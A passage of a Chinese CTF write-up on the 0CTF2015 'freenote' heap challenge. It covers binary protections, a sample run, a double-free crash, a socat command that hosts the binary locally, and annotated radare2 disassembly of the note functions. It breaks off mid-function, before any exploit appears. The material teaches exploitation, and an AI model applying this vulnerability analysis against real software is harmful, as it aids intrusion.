CTF-All-In-One/doc/6.1.7_pwn_0ctf2015_freenote.md
firmianay d19b1ff24b fix
2018-05-01 21:57:53 +08:00

60 KiB
Raw Blame History

6.1.7 pwn 0CTF2015 freenote

下载文件

题目复现

$ file freenote 
freenote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped
$ checksec -f freenote 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY  Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes      0               2       freenote

因为没有 PIE即使本机开启 ASLR 也没有关系。

玩一下,它有 List、New、Edit、Delete 四个功能:

$ ./freenote 
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 2
Length of new note: 5
Enter your note: AAAA
Done.
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 1
0. AAAA

== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 3
Note number: 0
Length of note: 10
Enter your note: BBBBBBBBB
Done.
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 1
0. BBBBBBBBB

== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 4
Note number: 0
Done.
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 1
You need to create some new notes first.
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 5
Bye

然后漏洞似乎也很明显,如果我们两次 Delete 同一个笔记,则触发 double free

*** Error in `./freenote': double free or corruption (!prev): 0x0000000000672830 ***
Aborted

在 Ubuntu 14.04 上把程序跑起来:

$ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc.so_1 ./freenote" &

题目解析

我们先来看一下 main 函数:

[0x00400770]> pdf @ main
/ (fcn) main 60
|   main ();
|           ; var int local_4h @ rbp-0x4
|           ; DATA XREF from 0x0040078d (entry0)
|           0x00401087      55             push rbp
|           0x00401088      4889e5         mov rbp, rsp
|           0x0040108b      4883ec10       sub rsp, 0x10
|           0x0040108f      b800000000     mov eax, 0
|           0x00401094      e864f9ffff     call sub.setvbuf_9fd        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x00401099      b800000000     mov eax, 0
|           0x0040109e      e8a6f9ffff     call sub.malloc_a49         ;  void *malloc(size_t size)
|           ; JMP XREF from 0x0040110f (main + 136)
|           0x004010a3      b800000000     mov eax, 0
|           0x004010a8      e8ebf8ffff     call sub.0ops_Free_Note_998
|           0x004010ad      8945fc         mov dword [local_4h], eax
|           0x004010b0      837dfc05       cmp dword [local_4h], 5     ; [0x5:4]=-1 ; 5
|       ,=< 0x004010b4      774e           ja 0x401104
|       |   0x004010b6      8b45fc         mov eax, dword [local_4h]
|       |   0x004010b9      488b04c5f812.  mov rax, qword [rax*8 + 0x4012f8] ; [0x4012f8:8]=0x401104
\       |   0x004010c1      ffe0           jmp rax

main 函数首先调用 sub.malloc_a49() 分配一块内存并进行初始化然后读取用户输入根据偏移跳转到相应的函数上去典型的switch实现

[0x00400770]> px 48 @ 0x4012f8
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x004012f8  0411 4000 0000 0000 c310 4000 0000 0000  ..@.......@.....
0x00401308  cf10 4000 0000 0000 db10 4000 0000 0000  ..@.......@.....
0x00401318  e710 4000 0000 0000 f310 4000 0000 0000  ..@.......@.....
[0x00400770]> pd 22 @ 0x4010c3
        :   0x004010c3      b800000000     mov eax, 0
        :   0x004010c8      e847faffff     call sub.You_need_to_create_some_new_notes_first._b14
       ,==< 0x004010cd      eb40           jmp 0x40110f
       |:   0x004010cf      b800000000     mov eax, 0
       |:   0x004010d4      e8e9faffff     call sub.Length_of_new_note:_bc2
      ,===< 0x004010d9      eb34           jmp 0x40110f
      ||:   0x004010db      b800000000     mov eax, 0
      ||:   0x004010e0      e8a2fcffff     call sub.Note_number:_d87
     ,====< 0x004010e5      eb28           jmp 0x40110f
     |||:   0x004010e7      b800000000     mov eax, 0
     |||:   0x004010ec      e88cfeffff     call sub.No_notes_yet._f7d
    ,=====< 0x004010f1      eb1c           jmp 0x40110f
    ||||:   0x004010f3      bfe6124000     mov edi, 0x4012e6
    ||||:   0x004010f8      e8c3f5ffff     call sym.imp.puts           ; int puts(const char *s)
    ||||:   0x004010fd      b800000000     mov eax, 0
   ,======< 0x00401102      eb0d           jmp 0x401111
   |||||:   ; JMP XREF from 0x004010b4 (main)
   |||||:   0x00401104      bfea124000     mov edi, str.Invalid        ; 0x4012ea ; "Invalid!"
   |||||:   0x00401109      e8b2f5ffff     call sym.imp.puts           ; int puts(const char *s)
   |||||:   0x0040110e      90             nop
   ||||||   ; JMP XREF from 0x004010cd (main + 70)
   ||||||   ; JMP XREF from 0x004010d9 (main + 82)
   ||||||   ; JMP XREF from 0x004010e5 (main + 94)
   ||||||   ; JMP XREF from 0x004010f1 (main + 106)
   |`````=< 0x0040110f      eb92           jmp 0x4010a3                ; main+0x1c
   |        ; JMP XREF from 0x00401102 (main + 123)
   `------> 0x00401111      c9             leave
            0x00401112      c3             ret

所以四个功能对应的函数如下:

  • Listsub.You_need_to_create_some_new_notes_first._b14
  • Newsub.Length_of_new_note:_bc2
  • Editcall sub.Note_number:_d87
  • Deletecall sub.No_notes_yet._f7d

函数 sub.malloc_a49 如下:

[0x00400770]> pdf @ sub.malloc_a49 
/ (fcn) sub.malloc_a49 203
|   sub.malloc_a49 ();
|           ; var int local_4h @ rbp-0x4
|           ; CALL XREF from 0x0040109e (main)
|           0x00400a49      55             push rbp
|           0x00400a4a      4889e5         mov rbp, rsp
|           0x00400a4d      4883ec10       sub rsp, 0x10
|           0x00400a51      bf10180000     mov edi, 0x1810
|           0x00400a56      e8d5fcffff     call sym.imp.malloc         ;  void *malloc(size_t size)
|           0x00400a5b      488905461620.  mov qword [0x006020a8], rax ; [0x6020a8:8]=0
|           0x00400a62      488b053f1620.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|           0x00400a69      48c700000100.  mov qword [rax], 0x100      ; [0x100:8]=-1 ; 256 ; Notes 结构体成员 max
|           0x00400a70      488b05311620.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|           0x00400a77      48c740080000.  mov qword [rax + 8], 0       ; Notes 结构体成员 length
|           0x00400a7f      c745fc000000.  mov dword [local_4h], 0      ; [local_4h] 是 Note 的序号
|       ,=< 0x00400a86      eb7d           jmp 0x400b05
|       |   ; JMP XREF from 0x00400b0c (sub.malloc_a49)
|      .--> 0x00400a88      488b0d191620.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0 ; Notes 结构体的地址
|      :|   0x00400a8f      8b45fc         mov eax, dword [local_4h]
|      :|   0x00400a92      4863d0         movsxd rdx, eax
|      :|   0x00400a95      4889d0         mov rax, rdx
|      :|   0x00400a98      4801c0         add rax, rax                ; '#'
|      :|   0x00400a9b      4801d0         add rax, rdx                ; '('
|      :|   0x00400a9e      48c1e003       shl rax, 3                   ; 序号 *24
|      :|   0x00400aa2      4801c8         add rax, rcx                ; '&'
|      :|   0x00400aa5      4883c010       add rax, 0x10                ; 序号对应的 Note 地址
|      :|   0x00400aa9      48c700000000.  mov qword [rax], 0           ; Note 结构体成员 isValid 初始化为 0
|      :|   0x00400ab0      488b0df11520.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|      :|   0x00400ab7      8b45fc         mov eax, dword [local_4h]
|      :|   0x00400aba      4863d0         movsxd rdx, eax
|      :|   0x00400abd      4889d0         mov rax, rdx
|      :|   0x00400ac0      4801c0         add rax, rax                ; '#'
|      :|   0x00400ac3      4801d0         add rax, rdx                ; '('
|      :|   0x00400ac6      48c1e003       shl rax, 3
|      :|   0x00400aca      4801c8         add rax, rcx                ; '&'
|      :|   0x00400acd      4883c010       add rax, 0x10
|      :|   0x00400ad1      48c740080000.  mov qword [rax + 8], 0       ; Note 结构体成员 length 初始化为 0
|      :|   0x00400ad9      488b0dc81520.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|      :|   0x00400ae0      8b45fc         mov eax, dword [local_4h]
|      :|   0x00400ae3      4863d0         movsxd rdx, eax
|      :|   0x00400ae6      4889d0         mov rax, rdx
|      :|   0x00400ae9      4801c0         add rax, rax                ; '#'
|      :|   0x00400aec      4801d0         add rax, rdx                ; '('
|      :|   0x00400aef      48c1e003       shl rax, 3
|      :|   0x00400af3      4801c8         add rax, rcx                ; '&'
|      :|   0x00400af6      4883c020       add rax, 0x20
|      :|   0x00400afa      48c700000000.  mov qword [rax], 0           ; Note 结构体成员 content 初始化为 0
|      :|   0x00400b01      8345fc01       add dword [local_4h], 1      ; 序号 +1
|      :|   ; JMP XREF from 0x00400a86 (sub.malloc_a49)
|      :`-> 0x00400b05      817dfcff0000.  cmp dword [local_4h], 0xff  ; [0xff:4]=-1 ; 255 ; 循环初始化 Note
|      `==< 0x00400b0c      0f8e76ffffff   jle 0x400a88
|           0x00400b12      c9             leave
\           0x00400b13      c3             ret

该函数调用 malloc 在堆上分配 0x1810 字节的内存用来存放数据。我们可以猜测这里还存在两个结构体Note 和 Notes

struct Note {
    int isValid;        // 1 表示笔记存在0 表示笔记不存在
    int length;         // 笔记长度
    char *content;      // 指向笔记内容的指针
} Note;

struct Notes {
    int max;            // 笔记总数上限 0x100
    int length;         // 当前笔记数量
    Note notes[256];    // 笔记
} Notes;

接下来依次分析程序四个功能的实现,先从 List 开始:

[0x00400770]> pdf @ sub.You_need_to_create_some_new_notes_first._b14 
/ (fcn) sub.You_need_to_create_some_new_notes_first._b14 174
|   sub.You_need_to_create_some_new_notes_first._b14 ();
|           ; var int local_4h @ rbp-0x4
|           ; CALL XREF from 0x004010c8 (main + 65)
|           0x00400b14      55             push rbp
|           0x00400b15      4889e5         mov rbp, rsp
|           0x00400b18      4883ec10       sub rsp, 0x10
|           0x00400b1c      488b05851520.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|           0x00400b23      488b4008       mov rax, qword [rax + 8]    ; [0x8:8]=-1 ; 8 ; 取出 Notes 结构体成员 length
|           0x00400b27      4885c0         test rax, rax                ; 判断 length 是否为 0
|       ,=< 0x00400b2a      0f8e86000000   jle 0x400bb6                 ; 如果为 0即没有笔记时跳转该函数结束
|       |   0x00400b30      c745fc000000.  mov dword [local_4h], 0      ; [local_4h] 初始化为 0
|      ,==< 0x00400b37      eb66           jmp 0x400b9f
|      ||   ; JMP XREF from 0x00400bb2 (sub.You_need_to_create_some_new_notes_first._b14)
|     .---> 0x00400b39      488b0d681520.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|     :||   0x00400b40      8b45fc         mov eax, dword [local_4h]
|     :||   0x00400b43      4863d0         movsxd rdx, eax
|     :||   0x00400b46      4889d0         mov rax, rdx
|     :||   0x00400b49      4801c0         add rax, rax                ; '#'
|     :||   0x00400b4c      4801d0         add rax, rdx                ; '('
|     :||   0x00400b4f      48c1e003       shl rax, 3
|     :||   0x00400b53      4801c8         add rax, rcx                ; '&'
|     :||   0x00400b56      4883c010       add rax, 0x10                ; rax 为 local_4h 序号处的 Note
|     :||   0x00400b5a      488b00         mov rax, qword [rax]         ; 取出 Note 结构体成员 isValid
|     :||   0x00400b5d      4883f801       cmp rax, 1                  ; 1
|    ,====< 0x00400b61      7538           jne 0x400b9b                 ; 如果 isValid != 1跳过打印
|    |:||   0x00400b63      488b0d3e1520.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|    |:||   0x00400b6a      8b45fc         mov eax, dword [local_4h]
|    |:||   0x00400b6d      4863d0         movsxd rdx, eax
|    |:||   0x00400b70      4889d0         mov rax, rdx
|    |:||   0x00400b73      4801c0         add rax, rax                ; '#'
|    |:||   0x00400b76      4801d0         add rax, rdx                ; '('
|    |:||   0x00400b79      48c1e003       shl rax, 3
|    |:||   0x00400b7d      4801c8         add rax, rcx                ; '&'
|    |:||   0x00400b80      4883c020       add rax, 0x20
|    |:||   0x00400b84      488b10         mov rdx, qword [rax]
|    |:||   0x00400b87      8b45fc         mov eax, dword [local_4h]
|    |:||   0x00400b8a      89c6           mov esi, eax
|    |:||   0x00400b8c      bf1d124000     mov edi, str.d.__s          ; 0x40121d ; "%d. %s\n"
|    |:||   0x00400b91      b800000000     mov eax, 0
|    |:||   0x00400b96      e845fbffff     call sym.imp.printf         ; int printf(const char *format) ; 打印出序号和内容
|    |:||   ; JMP XREF from 0x00400b61 (sub.You_need_to_create_some_new_notes_first._b14)
|    `----> 0x00400b9b      8345fc01       add dword [local_4h], 1
|     :||   ; JMP XREF from 0x00400b37 (sub.You_need_to_create_some_new_notes_first._b14)
|     :`--> 0x00400b9f      8b45fc         mov eax, dword [local_4h]    ; eax = [local_4h]
|     : |   0x00400ba2      4863d0         movsxd rdx, eax              ; rdx = eax == [local_4h]
|     : |   0x00400ba5      488b05fc1420.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0 ; 取出 Notes 地址
|     : |   0x00400bac      488b00         mov rax, qword [rax]         ; 取出结构体成员 max == 0x100
|     : |   0x00400baf      4839c2         cmp rdx, rax                 ; 比较当前笔记序号 rdx 与 max
|     `===< 0x00400bb2      7c85           jl 0x400b39                  ; 遍历所有笔记
|      ,==< 0x00400bb4      eb0a           jmp 0x400bc0
|      ||   ; JMP XREF from 0x00400b2a (sub.You_need_to_create_some_new_notes_first._b14)
|      |`-> 0x00400bb6      bf28124000     mov edi, str.You_need_to_create_some_new_notes_first. ; 0x401228 ; "You need to create some new notes first."
|      |    0x00400bbb      e800fbffff     call sym.imp.puts           ; int puts(const char *s)
|      |    ; JMP XREF from 0x00400bb4 (sub.You_need_to_create_some_new_notes_first._b14)
|      `--> 0x00400bc0      c9             leave
\           0x00400bc1      c3             ret

该函数会打印出所有 isValid 成员为 1 的笔记。

New 的实现如下:

[0x00400770]> pdf @ sub.Length_of_new_note:_bc2 
/ (fcn) sub.Length_of_new_note:_bc2 453
|   sub.Length_of_new_note:_bc2 (int arg_1000h);
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; var int local_0h @ rbp-0x0
|           ; arg int arg_1000h @ rbp+0x1000
|           ; CALL XREF from 0x004010d4 (main + 77)
|           0x00400bc2      55             push rbp
|           0x00400bc3      4889e5         mov rbp, rsp
|           0x00400bc6      4883ec20       sub rsp, 0x20
|           0x00400bca      488b05d71420.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|           0x00400bd1      488b5008       mov rdx, qword [rax + 8]    ; [0x8:8]=-1 ; 8 ; 取出 Notes 成员 length
|           0x00400bd5      488b05cc1420.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|           0x00400bdc      488b00         mov rax, qword [rax]         ; 取出 Notes 成员 max
|           0x00400bdf      4839c2         cmp rdx, rax
|       ,=< 0x00400be2      7c0f           jl 0x400bf3                  ; 当 length < max 时继续,否则表示笔记本已满
|       |   0x00400be4      bf51124000     mov edi, str.Unable_to_create_new_note. ; 0x401251 ; "Unable to create new note."
|       |   0x00400be9      e8d2faffff     call sym.imp.puts           ; int puts(const char *s)
|      ,==< 0x00400bee      e992010000     jmp 0x400d85
|      ||   ; JMP XREF from 0x00400be2 (sub.Length_of_new_note:_bc2)
|      |`-> 0x00400bf3      c745ec000000.  mov dword [local_14h], 0     ; [local_14h] 初始化为 0
|      |,=< 0x00400bfa      e96d010000     jmp 0x400d6c
|      ||   ; JMP XREF from 0x00400d7f (sub.Length_of_new_note:_bc2)
|     .---> 0x00400bff      488b0da21420.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|     :||   0x00400c06      8b45ec         mov eax, dword [local_14h]
|     :||   0x00400c09      4863d0         movsxd rdx, eax
|     :||   0x00400c0c      4889d0         mov rax, rdx
|     :||   0x00400c0f      4801c0         add rax, rax                ; '#'
|     :||   0x00400c12      4801d0         add rax, rdx                ; '('
|     :||   0x00400c15      48c1e003       shl rax, 3
|     :||   0x00400c19      4801c8         add rax, rcx                ; '&'
|     :||   0x00400c1c      4883c010       add rax, 0x10
|     :||   0x00400c20      488b00         mov rax, qword [rax]
|     :||   0x00400c23      4885c0         test rax, rax                ; rax 表示成员 isValid 
|    ,====< 0x00400c26      0f853c010000   jne 0x400d68                 ; 当 isValid 为 1 时,表示当前序号处笔记已经存在,跳过
|    |:||   0x00400c2c      bf6c124000     mov edi, str.Length_of_new_note: ; 0x40126c ; "Length of new note: "
|    |:||   0x00400c31      b800000000     mov eax, 0
|    |:||   0x00400c36      e8a5faffff     call sym.imp.printf         ; int printf(const char *format)
|    |:||   0x00400c3b      b800000000     mov eax, 0
|    |:||   0x00400c40      e809fdffff     call sub.atoi_94e           ; int atoi(const char *str)
|    |:||   0x00400c45      8945f0         mov dword [local_10h], eax   ; [local_10h] 是笔记长度
|    |:||   0x00400c48      837df000       cmp dword [local_10h], 0
|   ,=====< 0x00400c4c      7f0f           jg 0x400c5d                  ; 大于 0 时
|   ||:||   0x00400c4e      bf81124000     mov edi, str.Invalid_length ; 0x401281 ; "Invalid length!"
|   ||:||   0x00400c53      e868faffff     call sym.imp.puts           ; int puts(const char *s)
|  ,======< 0x00400c58      e928010000     jmp 0x400d85
|  |||:||   ; JMP XREF from 0x00400c4c (sub.Length_of_new_note:_bc2)
|  |`-----> 0x00400c5d      817df0001000.  cmp dword [local_10h], 0x1000 ; [0x1000:4]=-1
|  |,=====< 0x00400c64      7e07           jle 0x400c6d                 ; 小于等于 0x1000 时
|  |||:||   0x00400c66      c745f0001000.  mov dword [local_10h], 0x1000 ; 否则 [local_10h] = 0x1000
|  |||:||   ; JMP XREF from 0x00400c64 (sub.Length_of_new_note:_bc2)
|  |`-----> 0x00400c6d      8b45f0         mov eax, dword [local_10h]
|  | |:||   0x00400c70      99             cdq
|  | |:||   0x00400c71      c1ea19         shr edx, 0x19
|  | |:||   0x00400c74      01d0           add eax, edx
|  | |:||   0x00400c76      83e07f         and eax, 0x7f
|  | |:||   0x00400c79      29d0           sub eax, edx
|  | |:||   0x00400c7b      ba80000000     mov edx, 0x80               ; 128
|  | |:||   0x00400c80      29c2           sub edx, eax
|  | |:||   0x00400c82      89d0           mov eax, edx
|  | |:||   0x00400c84      c1f81f         sar eax, 0x1f
|  | |:||   0x00400c87      c1e819         shr eax, 0x19
|  | |:||   0x00400c8a      01c2           add edx, eax
|  | |:||   0x00400c8c      83e27f         and edx, 0x7f
|  | |:||   0x00400c8f      29c2           sub edx, eax
|  | |:||   0x00400c91      89d0           mov eax, edx
|  | |:||   0x00400c93      89c2           mov edx, eax
|  | |:||   0x00400c95      8b45f0         mov eax, dword [local_10h]
|  | |:||   0x00400c98      01d0           add eax, edx
|  | |:||   0x00400c9a      8945f4         mov dword [local_ch], eax
|  | |:||   0x00400c9d      8b45f4         mov eax, dword [local_ch]
|  | |:||   0x00400ca0      4898           cdqe
|  | |:||   0x00400ca2      4889c7         mov rdi, rax                 ; rdi 最终为 ((128 - [local_10h] % 128) % 128 + [local_10h])
|  | |:||   0x00400ca5      e886faffff     call sym.imp.malloc         ;  void *malloc(size_t size)
|  | |:||   0x00400caa      488945f8       mov qword [local_8h], rax    ; [local_8h] 为 Note 内容的地址
|  | |:||   0x00400cae      bf91124000     mov edi, str.Enter_your_note: ; 0x401291 ; "Enter your note: "
|  | |:||   0x00400cb3      b800000000     mov eax, 0
|  | |:||   0x00400cb8      e823faffff     call sym.imp.printf         ; int printf(const char *format)
|  | |:||   0x00400cbd      8b55f0         mov edx, dword [local_10h]
|  | |:||   0x00400cc0      488b45f8       mov rax, qword [local_8h]
|  | |:||   0x00400cc4      89d6           mov esi, edx
|  | |:||   0x00400cc6      4889c7         mov rdi, rax
|  | |:||   0x00400cc9      e88ffbffff     call sub.read_85d           ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 读入笔记内容
|  | |:||   0x00400cce      488b0dd31320.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|  | |:||   0x00400cd5      8b45ec         mov eax, dword [local_14h]
|  | |:||   0x00400cd8      4863d0         movsxd rdx, eax
|  | |:||   0x00400cdb      4889d0         mov rax, rdx
|  | |:||   0x00400cde      4801c0         add rax, rax                ; '#'
|  | |:||   0x00400ce1      4801d0         add rax, rdx                ; '('
|  | |:||   0x00400ce4      48c1e003       shl rax, 3
|  | |:||   0x00400ce8      4801c8         add rax, rcx                ; '&'
|  | |:||   0x00400ceb      4883c010       add rax, 0x10
|  | |:||   0x00400cef      48c700010000.  mov qword [rax], 1           ; 设置 Note 结构体成员 isValid 为 1
|  | |:||   0x00400cf6      488b35ab1320.  mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
|  | |:||   0x00400cfd      8b45f0         mov eax, dword [local_10h]
|  | |:||   0x00400d00      4863c8         movsxd rcx, eax
|  | |:||   0x00400d03      8b45ec         mov eax, dword [local_14h]
|  | |:||   0x00400d06      4863d0         movsxd rdx, eax
|  | |:||   0x00400d09      4889d0         mov rax, rdx
|  | |:||   0x00400d0c      4801c0         add rax, rax                ; '#'
|  | |:||   0x00400d0f      4801d0         add rax, rdx                ; '('
|  | |:||   0x00400d12      48c1e003       shl rax, 3
|  | |:||   0x00400d16      4801f0         add rax, rsi                ; '+'
|  | |:||   0x00400d19      4883c010       add rax, 0x10
|  | |:||   0x00400d1d      48894808       mov qword [rax + 8], rcx     ; 设置 Note 结构体成员 length 为 [local_10h]
|  | |:||   0x00400d21      488b0d801320.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|  | |:||   0x00400d28      8b45ec         mov eax, dword [local_14h]
|  | |:||   0x00400d2b      4863d0         movsxd rdx, eax
|  | |:||   0x00400d2e      4889d0         mov rax, rdx
|  | |:||   0x00400d31      4801c0         add rax, rax                ; '#'
|  | |:||   0x00400d34      4801d0         add rax, rdx                ; '('
|  | |:||   0x00400d37      48c1e003       shl rax, 3
|  | |:||   0x00400d3b      4801c8         add rax, rcx                ; '&'
|  | |:||   0x00400d3e      488d5020       lea rdx, [rax + 0x20]       ; 32
|  | |:||   0x00400d42      488b45f8       mov rax, qword [local_8h]
|  | |:||   0x00400d46      488902         mov qword [rdx], rax         ; 设置 Note 结构体成员 content 为 [local_8h]
|  | |:||   0x00400d49      488b05581320.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|  | |:||   0x00400d50      488b5008       mov rdx, qword [rax + 8]    ; [0x8:8]=-1 ; 8 ; 取出 Notes 成员 length
|  | |:||   0x00400d54      4883c201       add rdx, 1                   ; length +1
|  | |:||   0x00400d58      48895008       mov qword [rax + 8], rdx     ; 写回 length
|  | |:||   0x00400d5c      bfa3124000     mov edi, str.Done.          ; 0x4012a3 ; "Done."
|  | |:||   0x00400d61      e85af9ffff     call sym.imp.puts           ; int puts(const char *s)
|  |,=====< 0x00400d66      eb1d           jmp 0x400d85
|  |||:||   ; JMP XREF from 0x00400c26 (sub.Length_of_new_note:_bc2)
|  ||`----> 0x00400d68      8345ec01       add dword [local_14h], 1
|  || :||   ; JMP XREF from 0x00400bfa (sub.Length_of_new_note:_bc2)
|  || :|`-> 0x00400d6c      8b45ec         mov eax, dword [local_14h]   ; eax = [local_14h]
|  || :|    0x00400d6f      4863d0         movsxd rdx, eax              ; rdx 表示序号
|  || :|    0x00400d72      488b052f1320.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|  || :|    0x00400d79      488b00         mov rax, qword [rax]         ; 取出 Notes 成员 max
|  || :|    0x00400d7c      4839c2         cmp rdx, rax                 ; 比较序号与 max
|  || `===< 0x00400d7f      0f8c7afeffff   jl 0x400bff                  ; 遍历
|  ||  |    ; JMP XREF from 0x00400bee (sub.Length_of_new_note:_bc2)
|  ||  |    ; JMP XREF from 0x00400c58 (sub.Length_of_new_note:_bc2)
|  ||  |    ; JMP XREF from 0x00400d66 (sub.Length_of_new_note:_bc2)
|  ``--`--> 0x00400d85      c9             leave
\           0x00400d86      c3             ret

该函数首先对你输入的大小进行判断,如果小于 128 字节,则默认分配 128 字节的空间,如果大于 128 字节且小于 4096 字节时,则分配比输入稍大的 128 字节的整数倍的空间,如果大于 4096 字节,则默认分配 4096 字节。

Edit 的实现如下:

[0x00400770]> pdf @ sub.Note_number:_d87 
/ (fcn) sub.Note_number:_d87 502
|   sub.Note_number:_d87 (int arg_1000h);
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_14h @ rbp-0x14
|           ; var int local_0h @ rbp-0x0
|           ; arg int arg_1000h @ rbp+0x1000
|           ; CALL XREF from 0x004010e0 (main + 89)
|           0x00400d87      55             push rbp
|           0x00400d88      4889e5         mov rbp, rsp
|           0x00400d8b      53             push rbx
|           0x00400d8c      4883ec18       sub rsp, 0x18
|           0x00400d90      bfa9124000     mov edi, str.Note_number:   ; 0x4012a9 ; "Note number: "
|           0x00400d95      b800000000     mov eax, 0
|           0x00400d9a      e841f9ffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400d9f      b800000000     mov eax, 0
|           0x00400da4      e8a5fbffff     call sub.atoi_94e           ; int atoi(const char *str)
|           0x00400da9      8945e8         mov dword [local_18h], eax   ; [local_18h] 为要修改的笔记序号
|           0x00400dac      837de800       cmp dword [local_18h], 0     ; 进行检查,确保序号是有效的
|       ,=< 0x00400db0      783f           js 0x400df1
|       |   0x00400db2      8b45e8         mov eax, dword [local_18h]
|       |   0x00400db5      4863d0         movsxd rdx, eax
|       |   0x00400db8      488b05e91220.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|       |   0x00400dbf      488b00         mov rax, qword [rax]
|       |   0x00400dc2      4839c2         cmp rdx, rax
|      ,==< 0x00400dc5      7d2a           jge 0x400df1
|      ||   0x00400dc7      488b0dda1220.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|      ||   0x00400dce      8b45e8         mov eax, dword [local_18h]
|      ||   0x00400dd1      4863d0         movsxd rdx, eax
|      ||   0x00400dd4      4889d0         mov rax, rdx
|      ||   0x00400dd7      4801c0         add rax, rax                ; '#'
|      ||   0x00400dda      4801d0         add rax, rdx                ; '('
|      ||   0x00400ddd      48c1e003       shl rax, 3
|      ||   0x00400de1      4801c8         add rax, rcx                ; '&'
|      ||   0x00400de4      4883c010       add rax, 0x10
|      ||   0x00400de8      488b00         mov rax, qword [rax]
|      ||   0x00400deb      4883f801       cmp rax, 1                  ; 1
|     ,===< 0x00400def      740f           je 0x400e00                  ; 修改笔记的 isValid 必须为 1
|     |||   ; JMP XREF from 0x00400db0 (sub.Note_number:_d87)
|     |||   ; JMP XREF from 0x00400dc5 (sub.Note_number:_d87)
|     |``-> 0x00400df1      bfb7124000     mov edi, str.Invalid_number ; 0x4012b7 ; "Invalid number!"
|     |     0x00400df6      e8c5f8ffff     call sym.imp.puts           ; int puts(const char *s)
|     | ,=< 0x00400dfb      e976010000     jmp 0x400f76
|     | |   ; JMP XREF from 0x00400def (sub.Note_number:_d87)
|     `---> 0x00400e00      bfc7124000     mov edi, str.Length_of_note: ; 0x4012c7 ; "Length of note: "
|       |   0x00400e05      b800000000     mov eax, 0
|       |   0x00400e0a      e8d1f8ffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x00400e0f      b800000000     mov eax, 0
|       |   0x00400e14      e835fbffff     call sub.atoi_94e           ; int atoi(const char *str)
|       |   0x00400e19      8945e4         mov dword [local_1ch], eax   ; [local_1ch] 为新大小
|       |   0x00400e1c      837de400       cmp dword [local_1ch], 0     ; 进行检查,确保新的大小是有效的
|      ,==< 0x00400e20      7f0f           jg 0x400e31
|      ||   0x00400e22      bf81124000     mov edi, str.Invalid_length ; 0x401281 ; "Invalid length!"
|      ||   0x00400e27      e894f8ffff     call sym.imp.puts           ; int puts(const char *s)
|     ,===< 0x00400e2c      e945010000     jmp 0x400f76
|     |||   ; JMP XREF from 0x00400e20 (sub.Note_number:_d87)
|     |`--> 0x00400e31      817de4001000.  cmp dword [local_1ch], 0x1000 ; [0x1000:4]=-1
|     |,==< 0x00400e38      7e07           jle 0x400e41
|     |||   0x00400e3a      c745e4001000.  mov dword [local_1ch], 0x1000
|     |||   ; JMP XREF from 0x00400e38 (sub.Note_number:_d87)
|     |`--> 0x00400e41      8b45e4         mov eax, dword [local_1ch]
|     | |   0x00400e44      4863c8         movsxd rcx, eax
|     | |   0x00400e47      488b355a1220.  mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
|     | |   0x00400e4e      8b45e8         mov eax, dword [local_18h]
|     | |   0x00400e51      4863d0         movsxd rdx, eax
|     | |   0x00400e54      4889d0         mov rax, rdx
|     | |   0x00400e57      4801c0         add rax, rax                ; '#'
|     | |   0x00400e5a      4801d0         add rax, rdx                ; '('
|     | |   0x00400e5d      48c1e003       shl rax, 3
|     | |   0x00400e61      4801f0         add rax, rsi                ; '+'
|     | |   0x00400e64      4883c010       add rax, 0x10
|     | |   0x00400e68      488b4008       mov rax, qword [rax + 8]    ; [0x8:8]=-1 ; 8
|     | |   0x00400e6c      4839c1         cmp rcx, rax                 ; 比较新大小与原大小是否相同
|     |,==< 0x00400e6f      0f84b7000000   je 0x400f2c                  ; 如果相同,跳过重新分配空间的过程,直接修改笔记
|     |||   0x00400e75      8b45e4         mov eax, dword [local_1ch]
